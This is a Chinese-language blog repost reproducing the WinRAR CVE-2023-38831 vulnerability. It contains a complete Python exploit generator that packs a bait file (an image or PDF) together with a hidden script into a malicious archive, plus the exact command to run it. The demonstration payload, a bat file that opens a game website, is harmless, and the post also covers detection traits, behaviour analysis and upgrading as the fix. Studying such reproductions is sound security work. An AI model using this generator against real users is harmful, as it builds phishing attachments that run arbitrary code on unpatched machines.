admin管理员组文章数量:1665480
漏洞原理
1.WinRAR 0day漏洞允许攻击者创建恶意 .RAR 和 .ZIP 存档,这些存档显示看似无害的诱饵文件,例如 JPG (.jpg) 图像、文本文件 (.txt) 或 PDF (.pdf),用户双击使用winRAR打开查看压缩文件,并在winRAR窗口中点击查看时触发漏洞 。
2.影响版本:WinRar 版本 < 6.23
漏洞复现环境搭建
由于winrar官网找不到6.23之前的版本所以使用了GitHub上其它的WinRAR备份
GitHub - n2far2000/winrarsc: WinRAR Official Release (Simplified Chinese)
漏洞复现流程
1.github等相关POC可以直接下载
import shutil
import os, sys
from os.path import join
TEMPLATE_NAME = "TEMPLATE"
OUTPUT_NAME = "CVE-2023-38831-poc.rar"
BAIT_NAME = "CLASSIFIED_DOCUMENTS.pdf"
SCRIPT_NAME = "script.bat"
if len(sys.argv) > 3:
BAIT_NAME = os.path.basename(sys.argv[1])
SCRIPT_NAME = os.path.basename(sys.argv[2])
OUTPUT_NAME = os.path.basename(sys.argv[3])
elif len(sys.argv) == 2 and sys.argv[1] == "poc":
pass
else:
print("""Usage:
python .\cve-2023-38831-exp-gen.py poc
python .\cve-2023-38831-exp-gen.py <BAIT_NAME> <SCRIPT_NAME> <OUTPUT_NAME>""")
sys.exit()
BAIT_EXT = b"." + bytes(BAIT_NAME.split(".")[-1], "utf-8")
print("BAIT_NAME:", BAIT_NAME)
print("SCRIPT_NAME:", SCRIPT_NAME)
print("OUTPUT_NAME:", OUTPUT_NAME)
if os.path.exists(TEMPLATE_NAME):
shutil.rmtree(TEMPLATE_NAME)
os.mkdir(TEMPLATE_NAME)
d = join(TEMPLATE_NAME, BAIT_NAME + "A")
if not os.path.exists(d):
os.mkdir(d)
shutil.copyfile(join(SCRIPT_NAME), join(d, BAIT_NAME+"A.cmd"))
shutil.copyfile(join(BAIT_NAME), join(TEMPLATE_NAME, BAIT_NAME+"B"))
# if os.path.exists(OUTPUT_NAME):
# print("!!! dir %s exists, delete it first" %(OUTPUT_NAME))
# sys.exit()
shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)
with open(TEMPLATE_NAME + ".zip", "rb") as f:
content = f.read()
content = content.replace(BAIT_EXT + b"A", BAIT_EXT + b" ")
content = content.replace(BAIT_EXT + b"B", BAIT_EXT + b" ")
os.remove(TEMPLATE_NAME + ".zip")
with open(OUTPUT_NAME, "wb") as f:
f.write(content)
print("ok..")
2.poc使用需要三个参数,分别为诱导文件,可以是图片或者pdf,诱使被害者点击文件,文件执行的脚本,生成的压缩包名,需要创建好诱导文件和脚本。
3.编写执行脚本,创建好诱导文件test.bmp,脚本文件script.bat
@echo off
start "" "https://ys.mihoyo/"
start "" "https://ys-api.mihoyo/event/download_porter/link/ys_cn/official/pc_default
4.打开cmd输入:
python .\cve-2023-38831-exp-gen.py test.bmp script.bat poc.rar
5.点击诱导文件
6.成功执行bat文件内容
漏洞特征
CVE-2023-38831的利用过程全程不出网,易出现在钓鱼邮件附件中,无法从抓包看出流量特征,但是文件会执行.bat文件,通过行为和bat文件内容,如果使用EDR,火绒,等终端安全设备是可以成功拦截的。
漏洞修复建议
升级WinRar 版本 > 6.24
行为分析
使用微软官方下载的Process Monitor进行行为分析 WinRAR 进程会向如下 Temp 中的目录创建两个文件分别是“test.bmp”,"test.bmp.cmd"都是用QueryDirectory 函数进行查询
执行 cmd.exe 的操作同样是 WinRAR.exe 进程创建的,调用 SHELL32.dll库,通过 ShellExecuteW 创建
参考文章:WinRAR漏洞复现(CVE-2023-38831)-CSDN博客
WinRAR 0day漏洞CVE-2023-38831复现最详解 - FreeBuf网络安全行业门户
GitHub - BoredHackerBlog/winrar_CVE-2023-38831_lazy_poc: lazy way to create CVE-2023-38831 winrar file for testing
版权声明:本文标题:CVE-2023-38831 winrar漏洞复现 内容由热心网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:https://www.elefans.com/dongtai/1730037233a1220126.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论